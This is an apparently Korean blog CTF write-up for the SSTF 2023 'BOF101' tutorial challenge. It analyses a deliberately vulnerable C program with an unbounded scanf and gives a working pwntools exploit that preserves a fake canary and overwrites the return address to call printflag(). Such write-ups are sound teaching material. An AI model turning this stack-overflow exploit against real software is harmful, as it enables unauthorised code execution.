[pwn] Tutorial - BOF101
1. 문제 설명
You might have heard about BOF.
It's the most common vulnerability in executable binaries.
Here is a vulnerable binary(Download).
The binary is running at: nc bof101.sstf.site 1337.
Can you smash it?
Just execute printflag() function and get the flag!
2. Writeup
바이너리와 코드가 제공되는 튜토리얼 문제이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
void printflag(){
char buf[32];
int fd = open("/flag", O_RDONLY);
read(fd, buf, sizeof(buf));
close(fd);
puts(buf);
}
int main() {
int check=0xdeadbeef;
char name[140];
printf("printflag()'s addr: %p\n", &printflag);
printf("What is your name?\n: ");
scanf("%s", name);
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
exit(0);
}
return 0;
}
1) 문제 분석
이 코드에서는 스택 버퍼오버플로우(BOF) 취약점이 존재한다.
name 변수에 할당된 버퍼의 크기는 140byte지만 scanf("%s", name); 를 통해서 사용자의 입력을 받을 때, 입력의 크기를 제한하지 않는다. 따라서 사용자는 140byte 이상의 데이터를 입력하여 ret 주소를 조작할 수 있다.
또한 FLAG를 휙득할 수 있는 printflag() 함수의 주소도 제공해준다.
2) 보호기법 확인
3) Exploit
ret 주소를 고정적인 printflag() 함수의 주소로 변경하면 플래그를 휙득할 수 있다.
다만, 카나리의 흉내를 내는 check 변수의 값이 0xdeadbeef가 아니면 오류 메시지를 출력하고 프로그램을 종료하므로 이 변수의 값은 그대로 유지하며 ret 주소를 변경해야 한다.
페이로드의 형식은 다음과 같다.
buffer[140] + check(0xdeadbeef) + sfp[8] + ret(0x00000000004011f6)
from pwn import *
r = remote("bof101.sstf.site", 1337)
payload = b"A"*140
payload += p32(0xdeadbeef)
payload += b"A"*8
payload += p64(0x4011f6)
r.sendline(payload)
r.interactive()
'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글
[pwn] Tutorial - BOF103 (0) | 2024.01.10 |
---|---|
[pwn] Tutorial - BOF102 (0) | 2024.01.10 |
[web] Tutorial - SQLi 103 (0) | 2024.01.10 |
[web] Tutorial - SQLi 102 (0) | 2024.01.10 |
[web] Tutorial - SQLi 101 (0) | 2024.01.10 |
댓글
이 글 공유하기
다른 글
-
[pwn] Tutorial - BOF103
[pwn] Tutorial - BOF103
2024.01.10 -
[pwn] Tutorial - BOF102
[pwn] Tutorial - BOF102
2024.01.10 -
[web] Tutorial - SQLi 103
[web] Tutorial - SQLi 103
2024.01.10 -
[web] Tutorial - SQLi 102
[web] Tutorial - SQLi 102
2024.01.10